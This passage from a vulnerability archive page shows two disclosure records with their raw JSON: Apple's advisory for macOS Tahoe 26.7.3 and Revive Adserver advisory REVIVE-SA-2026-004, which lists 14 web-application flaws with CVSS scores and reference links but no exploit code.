Organization

Vulnerability Disclosure Archive

GNA-1988

GNA identifier
GNA-1988 GCVE registry Recent publications

Recent vulnerabilities

581 GCVE records assigned by this organization as GNA-1988

GCVE-1988-2026-0566

Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
Title
APPLE-SA-11-09-2026-5 macOS Tahoe 26.7.3
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-09-2026-5 macOS Tahoe 26.7.3 macOS Tahoe 26.7.3 addresses the following issues. Information about the security content is also available at https://support.apple.com/149719. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: macOS Tahoe Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple Bluetooth Available for: macOS Tahoe Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple brotli Available for: macOS Tahoe Impact: Processing maliciously crafted input may lead to memory corruption Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2026-111497 CoreUtils Available for: macOS Tahoe Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: macOS Tahoe Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher Messages Available for: macOS Tahoe Impact: A user added to an iMessage group may be able to access messages sent before they joined Description: This issue was addressed by removing the vulnerable code. CVE-2026-113960: an anonymous researcher Messages Available for: macOS Tahoe Impact: A remote attacker may be able to join an iMessage group chat and receive its messages Description: An authorization issue was addressed with improved validation. CVE-2026-113961: an anonymous researcher rapportd Available for: macOS Tahoe Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple macOS Tahoe 26.7.3 may be obtained from the Mac App Store or Apple's Software Downloads web site: https://support.apple.com/downloads/ All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPGsACgkQ4Ifiq8DH 7PX0RhAAgCxbkOSlvX+HM53rlKreDXsbyKKa2Uo4eBmJxZJq2xa/c1MmEjtmGy7x EtjZKmmgdjzul60yfUo6U4tMHSFBkxHAzNqXT4fPnWWNuCHXVoPijkPAeJpMdSj1 5Ph5faMKhkJI8XYylVhGTTnCk8R0tyAn4lbb22Hq+PJiJmmZt3j76C+JwwAjzBNS kgfTjEKqN7QeEADqX8UuH01szer9vcPoOw3LhgKavE5r07j1o8y26gKuQuQBcDwn +tJft6/HCHw+BVnPv+2Fr2k8aRxUod/7VDinv0WFdPic3GkgVeCKVUxh9awVCgTc /isuj1OQ9plvXhHhxb9IL97nZDjtfu5Ukfrmtpbyvw+V+mBLOWS9fZJP8nMDTfFu RcybFMC8hMObjVpG2RBDbplKJqCf/blAwgjmom9H8C7g8Do4KiJO9T7TjNms9vfg V7SGoXdfTfTQ4sDUIYqi9fntxVWDOQ6AytGiAuFwcWVKZtNutv9laUphz+u3PsV6 TDOI4nLxkj0rRj7x4nzLKX+eO11xSZEdKrMUX/2ba1/iuGHIOElqLBkXwJ/Un18t VR4P9qqKz4oaGnRyNePeas4qUdyaZSfpqq/vv963qMOTx4tPXvkXaLb2CGKJjIoW jW7hpIqBp+DweBqHIigNl9glj9F/ogJBdEYz6wovmGDnIvXDzhE= =Shzn -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apple Macos Tahoe Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0566 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Macos Tahoe",
          "vendor": "Apple",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-11-09-2026-5 macOS Tahoe 26.7.3\n\nmacOS Tahoe 26.7.3 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/149719.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAirPlay\nAvailable for: macOS Tahoe\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113968: Apple\n\nBluetooth\nAvailable for: macOS Tahoe\nImpact: An attacker in Bluetooth range may be able to corrupt process\nmemory\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nCVE-2026-113970: Apple\n\nbrotli\nAvailable for: macOS Tahoe\nImpact: Processing maliciously crafted input may lead to memory\ncorruption\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nCVE-2026-111497\n\nCoreUtils\nAvailable for: macOS Tahoe\nImpact: A malicious Bluetooth device may be able to establish a pairing\nwithout user interaction\nDescription: This issue was addressed with improved checks.\nCVE-2026-113965: Apple\n\nCoreUtils\nAvailable for: macOS Tahoe\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts and pair with a device without user\ninteraction\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113964: an anonymous researcher\n\nMessages\nAvailable for: macOS Tahoe\nImpact: A user added to an iMessage group may be able to access messages\nsent before they joined\nDescription: This issue was addressed by removing the vulnerable code.\nCVE-2026-113960: an anonymous researcher\n\nMessages\nAvailable for: macOS Tahoe\nImpact: A remote attacker may be able to join an iMessage group chat and\nreceive its messages\nDescription: An authorization issue was addressed with improved\nvalidation.\nCVE-2026-113961: an anonymous researcher\n\nrapportd\nAvailable for: macOS Tahoe\nImpact: An attacker on the same network may be able to bypass the rate\nlimit on AirPlay pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113969: Apple\n\nmacOS Tahoe 26.7.3 may be obtained from the Mac App Store or\nApple\u0027s Software Downloads web site:\nhttps://support.apple.com/downloads/\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPGsACgkQ4Ifiq8DH\n7PX0RhAAgCxbkOSlvX+HM53rlKreDXsbyKKa2Uo4eBmJxZJq2xa/c1MmEjtmGy7x\nEtjZKmmgdjzul60yfUo6U4tMHSFBkxHAzNqXT4fPnWWNuCHXVoPijkPAeJpMdSj1\n5Ph5faMKhkJI8XYylVhGTTnCk8R0tyAn4lbb22Hq+PJiJmmZt3j76C+JwwAjzBNS\nkgfTjEKqN7QeEADqX8UuH01szer9vcPoOw3LhgKavE5r07j1o8y26gKuQuQBcDwn\n+tJft6/HCHw+BVnPv+2Fr2k8aRxUod/7VDinv0WFdPic3GkgVeCKVUxh9awVCgTc\n/isuj1OQ9plvXhHhxb9IL97nZDjtfu5Ukfrmtpbyvw+V+mBLOWS9fZJP8nMDTfFu\nRcybFMC8hMObjVpG2RBDbplKJqCf/blAwgjmom9H8C7g8Do4KiJO9T7TjNms9vfg\nV7SGoXdfTfTQ4sDUIYqi9fntxVWDOQ6AytGiAuFwcWVKZtNutv9laUphz+u3PsV6\nTDOI4nLxkj0rRj7x4nzLKX+eO11xSZEdKrMUX/2ba1/iuGHIOElqLBkXwJ/Un18t\nVR4P9qqKz4oaGnRyNePeas4qUdyaZSfpqq/vv963qMOTx4tPXvkXaLb2CGKJjIoW\njW7hpIqBp+DweBqHIigNl9glj9F/ogJBdEYz6wovmGDnIvXDzhE=\n=Shzn\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T02:29:20Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/28"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/28"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/149719"
        },
        {
          "url": "https://support.apple.com/downloads/"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/28"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-11-09-2026-5 macOS Tahoe 26.7.3",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-111497",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113960",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113961",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113964",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113965",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113968",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113969",
              "type": "related"
            },
            {
              "destId": "CVE-2026-113970",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0566",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/28",
            "automated": true,
            "contentSha256": "0e6b012263e01fb3b57e25a118548b2300e76fb3ae78a1200ba5faf80c8f13ea",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/28",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-10T00:06:27Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0566"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T02:29:20Z",
    "dateUpdated": "2026-11-13T02:29:20Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0566"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0565

Vulnerability from gna-1988 – Published: 2026-11-13 02:14 – Updated: 2026-11-13 02:14
VLAI
Title
[REVIVE-SA-2026-004] Revive Adserver Vulnerabilities
Summary
======================================================================== Revive Adserver Security Advisory REVIVE-SA-2026-004 ------------------------------------------------------------------------ https://www.revive-adserver.com/security/revive-sa-2026-004 ------------------------------------------------------------------------ Date: 2026-11-11 Risk Level: Medium to High Applications affected: Revive Adserver Versions affected: <= 6.0.8 Versions not affected: >= 6.0.9 Website: https://www.revive-adserver.com/ ======================================================================== ======================================================================== 1. Blind SQL injection through inconsistent request precedence ======================================================================== Vulnerability Type: CWE-89: SQL Injection CVE-ID: CVE-2026-107662 Risk level: High CVSS Base Score: 8.8 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3896779 https://github.com/revive-adserver/revive-adserver/commit/e301dbbb7 https://github.com/revive-adserver/revive-adserver/commit/0aa9d0124 https://cwe.mitre.org/data/definitions/89.html ======================================================================== 2. Authorization bypass through inconsistent request precedence ======================================================================== CVE-ID: CVE-2026-107247 Risk level: High CVSS Base Score: 8.1 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3831102 https://github.com/revive-adserver/revive-adserver/commit/e301dbbb7 https://github.com/revive-adserver/revive-adserver/commit/156dee7bc https://cwe.mitre.org/data/definitions/639.html ======================================================================== 3. Reflected XSS in conversion statistics ======================================================================== Vulnerability Type: CWE-79: Cross-site Scripting CVE-ID: CVE-2026-108558 Risk level: Medium CVSS Base Score: 6.1 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3878649 https://github.com/revive-adserver/revive-adserver/commit/b9fd9b04b https://cwe.mitre.org/data/definitions/79.html ======================================================================== 4. Reflected XSS in iframe invocation dimensions ======================================================================== Vulnerability Type: CWE-79: Cross-site Scripting CVE-ID: CVE-2026-108559 Risk level: Medium CVSS Base Score: 6.1 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3908050 https://github.com/revive-adserver/revive-adserver/commit/9643f44dc https://cwe.mitre.org/data/definitions/79.html ======================================================================== 5. Unauthenticated reflected XSS in update history ======================================================================== Vulnerability Type: CWE-79: Cross-site Scripting CVE-ID: CVE-2026-108560 Risk level: Medium CVSS Base Score: 6.1 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/4075098 https://github.com/revive-adserver/revive-adserver/commit/770130171 https://github.com/revive-adserver/revive-adserver/commit/8c449079d https://cwe.mitre.org/data/definitions/79.html ======================================================================== 6. Session-stored XSS in report date selection ======================================================================== Vulnerability Type: CWE-79: Cross-site Scripting CVE-ID: CVE-2026-108561 Risk level: Medium CVSS Base Score: 6.1 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/4116433 https://github.com/revive-adserver/revive-adserver/commit/cce8a4081 https://cwe.mitre.org/data/definitions/79.html ======================================================================== 7. Stored XSS in tracker maintenance ======================================================================== Vulnerability Type: CWE-79: Cross-site Scripting CVE-ID: CVE-2026-108562 Risk level: Medium CVSS Base Score: 5.4 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3826207 https://github.com/revive-adserver/revive-adserver/commit/ae0bbc4b3 https://cwe.mitre.org/data/definitions/79.html ======================================================================== 8. Campaign-zone linking without ownership validation ======================================================================== CVE-ID: CVE-2026-68486 Risk level: Medium CVSS Base Score: 5.4 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3958112 https://github.com/revive-adserver/revive-adserver/commit/8fc49ab1d https://github.com/revive-adserver/revive-adserver/commit/f0ab01a02 https://cwe.mitre.org/data/definitions/639.html ======================================================================== 9. Formula injection in conversion-report XLS exports ======================================================================== Vulnerability Type: CWE-94: Code Injection CVE-ID: CVE-2026-108563 Risk level: Medium CVSS Base Score: 4.7 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3859000 https://github.com/revive-adserver/revive-adserver/commit/1e4d48b18 https://cwe.mitre.org/data/definitions/94.html ======================================================================== 10. Reflected XSS in direct-selection invocation options ======================================================================== Vulnerability Type: CWE-79: Cross-site Scripting CVE-ID: CVE-2026-108564 Risk level: Medium CVSS Base Score: 4.7 CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3942028 https://github.com/revive-adserver/revive-adserver/commit/cb8fdeddf https://cwe.mitre.org/data/definitions/79.html ======================================================================== 11. Reflected XSS in popup invocation options ======================================================================== Vulnerability Type: CWE-79: Cross-site Scripting CVE-ID: CVE-2026-108565 Risk level: Medium CVSS Base Score: 4.7 CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3971985 https://github.com/revive-adserver/revive-adserver/commit/2275165e0 https://cwe.mitre.org/data/definitions/79.html ======================================================================== 12. Cross-agency website-list disclosure ======================================================================== CVE-ID: CVE-2026-68485 Risk level: Medium CVSS Base Score: 4.3 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3883840 https://github.com/revive-adserver/revive-adserver/commit/42df0608e https://cwe.mitre.org/data/definitions/639.html ======================================================================== 13. Cross-agency delivery rule set creation ======================================================================== CVE-ID: CVE-2026-82978 Risk level: Medium CVSS Base Score: 4.3 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3929216 https://hackerone.com/reports/3883840 https://github.com/revive-adserver/revive-adserver/commit/cabeb2e53 https://cwe.mitre.org/data/definitions/639.html ======================================================================== 14. Cross-site request forgery in tracker invocation ======================================================================== Vulnerability Type: CWE-352: Cross-Site Request Forgery CVE-ID: CVE-2026-77168 Risk level: Medium CVSS Base Score: 4.3 CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N ------------------------------------------------------------------------ Description ----------- Resolution ---------- References ---------- https://hackerone.com/reports/3981932 https://github.com/revive-adserver/revive-adserver/commit/a4593a679 https://cwe.mitre.org/data/definitions/352.html ======================================================================== Solution ======================================================================== ======================================================================== Contact Information ======================================================================== The security contact for Revive Adserver can be reached at: <security AT revive-adserver DOT com>. Please review https://www.revive-adserver.com/security/ before doing so. -- Matteo Beccati On behalf of the Revive Adserver Team https://www.revive-adserver.com/ _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
References
URL Tags
https://vuln.freearchive.org/archive/full-disclos… technical-description
https://seclists.org/fulldisclosure/2026/Nov/23 technical-description
https://cwe.mitre.org/data/definitions/352.html
https://cwe.mitre.org/data/definitions/639.html
https://cwe.mitre.org/data/definitions/79.html
https://cwe.mitre.org/data/definitions/89.html
https://cwe.mitre.org/data/definitions/94.html
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://github.com/revive-adserver/revive-adserve…
https://hackerone.com/reports/3826207
https://hackerone.com/reports/3831102
https://hackerone.com/reports/3859000
https://hackerone.com/reports/3878649
https://hackerone.com/reports/3883840
https://hackerone.com/reports/3896779
https://hackerone.com/reports/3908050
https://hackerone.com/reports/3929216
https://hackerone.com/reports/3942028
https://hackerone.com/reports/3958112
https://hackerone.com/reports/3971985
https://hackerone.com/reports/3981932
https://hackerone.com/reports/4075098
https://hackerone.com/reports/4116433
https://nmap.org/mailman/listinfo/fulldisclosure
https://seclists.org/fulldisclosure/
https://www.revive-adserver.com/
https://www.revive-adserver.com/security/
https://www.revive-adserver.com/security/revive-s…
Impacted products
Relationships
reference GCVE-1988-2026-0565 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Revive Adserver Vulnerabilities",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matteo Beccati"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "========================================================================\nRevive Adserver Security Advisory                     REVIVE-SA-2026-004\n------------------------------------------------------------------------\nhttps://www.revive-adserver.com/security/revive-sa-2026-004\n------------------------------------------------------------------------\nDate:                  2026-11-11\nRisk Level:            Medium to High\nApplications affected: Revive Adserver\nVersions affected:     \u003c= 6.0.8\nVersions not affected: \u003e= 6.0.9\nWebsite:               https://www.revive-adserver.com/\n========================================================================\n\n\n========================================================================\n1. Blind SQL injection through inconsistent request precedence\n========================================================================\nVulnerability Type:    CWE-89: SQL Injection\nCVE-ID:                CVE-2026-107662\nRisk level:            High\nCVSS Base Score:       8.8\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3896779\nhttps://github.com/revive-adserver/revive-adserver/commit/e301dbbb7\nhttps://github.com/revive-adserver/revive-adserver/commit/0aa9d0124\nhttps://cwe.mitre.org/data/definitions/89.html\n\n\n========================================================================\n2. Authorization bypass through inconsistent request precedence\n========================================================================\n\nCVE-ID:                CVE-2026-107247\nRisk level:            High\nCVSS Base Score:       8.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3831102\nhttps://github.com/revive-adserver/revive-adserver/commit/e301dbbb7\nhttps://github.com/revive-adserver/revive-adserver/commit/156dee7bc\nhttps://cwe.mitre.org/data/definitions/639.html\n\n\n========================================================================\n3. Reflected XSS in conversion statistics\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-108558\nRisk level:            Medium\nCVSS Base Score:       6.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3878649\nhttps://github.com/revive-adserver/revive-adserver/commit/b9fd9b04b\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n4. Reflected XSS in iframe invocation dimensions\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-108559\nRisk level:            Medium\nCVSS Base Score:       6.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3908050\nhttps://github.com/revive-adserver/revive-adserver/commit/9643f44dc\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n5. Unauthenticated reflected XSS in update history\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-108560\nRisk level:            Medium\nCVSS Base Score:       6.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/4075098\nhttps://github.com/revive-adserver/revive-adserver/commit/770130171\nhttps://github.com/revive-adserver/revive-adserver/commit/8c449079d\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n6. Session-stored XSS in report date selection\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-108561\nRisk level:            Medium\nCVSS Base Score:       6.1\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/4116433\nhttps://github.com/revive-adserver/revive-adserver/commit/cce8a4081\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n7. Stored XSS in tracker maintenance\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-108562\nRisk level:            Medium\nCVSS Base Score:       5.4\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3826207\nhttps://github.com/revive-adserver/revive-adserver/commit/ae0bbc4b3\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n8. Campaign-zone linking without ownership validation\n========================================================================\n\nCVE-ID:                CVE-2026-68486\nRisk level:            Medium\nCVSS Base Score:       5.4\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3958112\nhttps://github.com/revive-adserver/revive-adserver/commit/8fc49ab1d\nhttps://github.com/revive-adserver/revive-adserver/commit/f0ab01a02\nhttps://cwe.mitre.org/data/definitions/639.html\n\n\n========================================================================\n9. Formula injection in conversion-report XLS exports\n========================================================================\nVulnerability Type:    CWE-94: Code Injection\nCVE-ID:                CVE-2026-108563\nRisk level:            Medium\nCVSS Base Score:       4.7\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3859000\nhttps://github.com/revive-adserver/revive-adserver/commit/1e4d48b18\nhttps://cwe.mitre.org/data/definitions/94.html\n\n\n========================================================================\n10. Reflected XSS in direct-selection invocation options\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-108564\nRisk level:            Medium\nCVSS Base Score:       4.7\nCVSS Vector:           CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3942028\nhttps://github.com/revive-adserver/revive-adserver/commit/cb8fdeddf\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n11. Reflected XSS in popup invocation options\n========================================================================\nVulnerability Type:    CWE-79: Cross-site Scripting\nCVE-ID:                CVE-2026-108565\nRisk level:            Medium\nCVSS Base Score:       4.7\nCVSS Vector:           CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3971985\nhttps://github.com/revive-adserver/revive-adserver/commit/2275165e0\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n12. Cross-agency website-list disclosure\n========================================================================\n\nCVE-ID:                CVE-2026-68485\nRisk level:            Medium\nCVSS Base Score:       4.3\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3883840\nhttps://github.com/revive-adserver/revive-adserver/commit/42df0608e\nhttps://cwe.mitre.org/data/definitions/639.html\n\n\n========================================================================\n13. Cross-agency delivery rule set creation\n========================================================================\n\nCVE-ID:                CVE-2026-82978\nRisk level:            Medium\nCVSS Base Score:       4.3\nCVSS Vector:           CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3929216\nhttps://hackerone.com/reports/3883840\nhttps://github.com/revive-adserver/revive-adserver/commit/cabeb2e53\nhttps://cwe.mitre.org/data/definitions/639.html\n\n\n========================================================================\n14. Cross-site request forgery in tracker invocation\n========================================================================\nVulnerability Type:    CWE-352: Cross-Site Request Forgery\nCVE-ID:                CVE-2026-77168\nRisk level:            Medium\nCVSS Base Score:       4.3\nCVSS Vector:           